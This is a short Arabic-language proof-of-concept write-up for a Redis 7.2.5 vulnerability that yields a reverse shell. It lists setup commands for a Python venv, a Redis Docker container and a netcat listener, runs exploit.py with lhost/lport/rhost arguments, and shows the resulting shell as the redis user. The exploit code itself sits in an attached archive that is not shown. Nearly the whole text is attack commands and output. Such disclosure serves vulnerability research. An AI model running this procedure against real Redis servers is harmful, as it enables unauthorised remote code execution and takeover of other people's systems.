
إثبات مفهوم لاستغلال ثغرة أمنية في Redis تقوم بإنشاء قشرة عكسية، مع تعليمات الإعداد لكل من Docker ومستمع netcat.
لتشغيل الاستغلال، يرجى فك ضغط ملف ZIP المرفق واتباع هذه الخطوات على نظام Linux:
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip install -r requirements.txt
$ docker run -p6379:6379 redis:7.2.5
$ ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:53ff:fecc:6e16 prefixlen 64 scopeid 0x20<link>
ether 02:42:53:cc:6e:16 txqueuelen 0 (Ethernet)
RX packets 69 bytes 4268 (4.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 133 bytes 269173 (262.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ nc -nlvp 2222
lhost بعنوان IP الخاص بشبكة Docker الخاصة بك$ python3 exploit.py --lhost 172.17.0.1 --lport 2222 --rhost localhost
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:2222
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 172.17.0.2:36518.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
redis@4d1537f2dd4e:/data$